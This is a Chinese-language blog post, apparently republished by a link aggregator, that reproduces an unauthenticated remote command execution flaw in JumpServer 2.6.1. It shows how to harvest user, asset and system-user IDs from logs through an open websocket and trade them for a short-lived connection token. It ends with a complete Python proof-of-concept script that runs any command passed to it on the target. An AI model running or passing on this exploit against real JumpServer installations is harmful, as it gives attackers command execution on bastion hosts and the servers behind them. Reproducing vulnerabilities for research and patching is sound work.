9

jumpserver最新RCE复现

 3 years ago
source link: https://mp.weixin.qq.com/s?__biz=MzIxNDAyNjQwNg%3D%3D&%3Bmid=2456097993&%3Bidx=1&%3Bsn=c582b3509540553e9c370006fee46124
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

前言

今天复现了jumpserver的最新RCE,可能是年纪大了有点激动发出来有点急。不过塔王紧跟着就把文章整理好了不得不说很专业。想了想也包不住多久,就干脆发公众号出来好了。主要是学到了不少东西,前排感谢rr、7师傅还有群里的其他师傅。年纪大了还能跟一跟热点,真的很开心。

正文

首先。安装

安装脚本V2.6.1 https://www.o2oxy.cn/wp-content/uploads/2021/01/quick_start.zip

github 安装脚本全部是安装最新版的。

安装的时候注意几个坑。

nuArA3z.png!mobile

这里全部选择no

然后安装完成之后启动它 到安装目录:/opt/jumpserver-installer-v2.6.1/

aQJRviY.png!mobile

访问jumpServer

amYRBzU.png!mobile

跟踪一下漏洞代码【未授权】websocket

https://githistory.xyz/jumpserver/jumpserver/blob/db6f7f66b2e5e557081cb561029f64af0a1f80c4/apps/ops/ws.py

qu6VJ3e.png!mobile

新版就加了一个判断。那么就直接连接上这个websocket 进行日志读取

插件下载

https://chrome.google.com/webstore/detail/websocket-test-client/fgponpodhbmadfljofbimhhlengambbn/related

ws://192.168.1.73:8080/ws/ops/tasks/log/ {"task":"/opt/jumpserver/logs/jumpserver"}搜索存在一些task id

aQbERrA.png!mobile

查看task id 的一些信息

Yrmqqab.png!mobile

这个信息是不可能泄露账号密码的。别被误导了。

注意。需要添加一台主机【如果不是很懂就参考官方文档】

eE3AZ3E.png!mobile

然后进入web终端 登陆那台机器。【不登陆是获取不到那三个值的】

vUV3eeB.png!mobile

NVnq2i.png!mobile

那三个值。在日志中的体现如下:

uYFvU3.png!mobile

拿出一条

/api/v1/perms/asset-permissions/user/validate/?action_name=connect&asset_id=ccb9c6d7-6221-445e-9fcc-b30c95162825&cache_policy=1&system_user_id=79655e4e-1741-46af-a793-fff394540a52&user_id=508be25f-dea8-46f5-8ec8-866c187d8f6d

user_id= 508be25f-dea8-46f5-8ec8-866c187d8f6d

asset_id=ccb9c6d7-6221-445e-9fcc-b30c95162825

system_user_id=79655e4e-1741-46af-a793-fff394540a52

通过日志中的。api/v1/perms/asset-permissions/user/validate 信息。获取到临时的token 20S

import requests

import json

data={"user":"4320ce47-e0e0-4b86-adb1-675ca611ea0c","asset":"ccb9c6d7-6221-445e-9fcc-b30c95162825","system_user":"79655e4e-1741-46af-a793-fff394540a52"}

url_host='http://192.168.1.73:8080'

def get_token():

url = url_host+'/api/v1/users/connection-token/?user-only=1'

response = requests.post(url, json=data).json()

print(response)

return response['token']

get_token()

上面的是得到一个临时的token

代码如下:

zIJ3u2b.png!mobile

然后这个20s 的token 能做啥,具体的跟踪代码。

登陆后台

INbuYrb.png!mobile

n6nqE3E.png!mobile

Brq2IfM.png!mobile

后端代码如下:

https://github.com/jumpserver/koko/blob/e054394ffd13ac7c71a4ac980340749d9548f5e1/pkg/httpd/webserver.go

3MfaquJ.png!mobile

尝试websocket 连接一下试试。

FriQVbu.png!mobile

最后通过脚本访问ws进行代码执行

F7JFjqi.png!mobile

POC:

# -*- coding: utf-8 -*-

# import requests

# import json

# data={"user":"4320ce47-e0e0-4b86-adb1-675ca611ea0c","asset":"ccb9c6d7-6221-445e-9fcc-b30c95162825","system_user":"79655e4e-1741-46af-a793-fff394540a52"}

#

# url_host='http://192.168.1.73:8080'

#

# def get_token():

#     url = url_host+'/api/v1/users/connection-token/?user-only=1'

#     url =url_host+'/api/v1/authentication/connection-token/?user-only=1'

#     response = requests.post(url, json=data).json()

#     print(response)

#     ret=requests.get(url_host+'/api/v1/authentication/connection-token/?token=%s'%response['token'])

#     print(ret.text)

# get_token()

import asyncio

import websockets

import requests

import json

url = "/api/v1/authentication/connection-token/?user-only=None"

# 向服务器端发送认证后的消息

async def send_msg(websocket,_text):

if _text == "exit":

print(f'you have enter "exit", goodbye')

await websocket.close(reason="user exit")

return False

await websocket.send(_text)

recv_text = await websocket.recv()

print(f"{recv_text}")

# 客户端主逻辑

async def main_logic(cmd):

print("#######start ws")

async with websockets.connect(target) as websocket:

recv_text = await websocket.recv()

print(f"{recv_text}")

resws=json.loads(recv_text)

id = resws['id']

print("get ws id:"+id)

print("###############")

print("init ws")

print("###############")

inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"})

await send_msg(websocket,inittext)

for i in range(20):

recv_text = await websocket.recv()

print(f"{recv_text}")

print("###############")

print("exec cmd: ls")

cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"})

print(cmdtext)

await send_msg(websocket, cmdtext)

for i in range(20):

recv_text = await websocket.recv()

print(f"{recv_text}")

print('#######finish')

if __name__ == '__main__':

try:

import sys

host=sys.argv[1]

cmd=sys.argv[2]

if host[-1]=='/':

host=host[:-1]

print(host)

data = {"user": "4320ce47-e0e0-4b86-adb1-675ca611ea0c", "asset": "ccb9c6d7-6221-445e-9fcc-b30c95162825",

"system_user": "79655e4e-1741-46af-a793-fff394540a52"}

print("##################")

print("get token url:%s" % (host + url,))

print("##################")

res = requests.post(host + url, json=data)

token = res.json()["token"]

print("token:%s", (token,))

print("##################")

target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token

print("target ws:%s" % (target,))

asyncio.get_event_loop().run_until_complete(main_logic(cmd))

except:

print("python jumpserver.py http://192.168.1.73 whoami")

总结:

1. 通过未授权访问得到三个id

2. 通过三个ID 进行一个零时token的获取

3.通过临时token 进行ws的访问。进而命令执行

uAZNriu.jpg!mobile


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK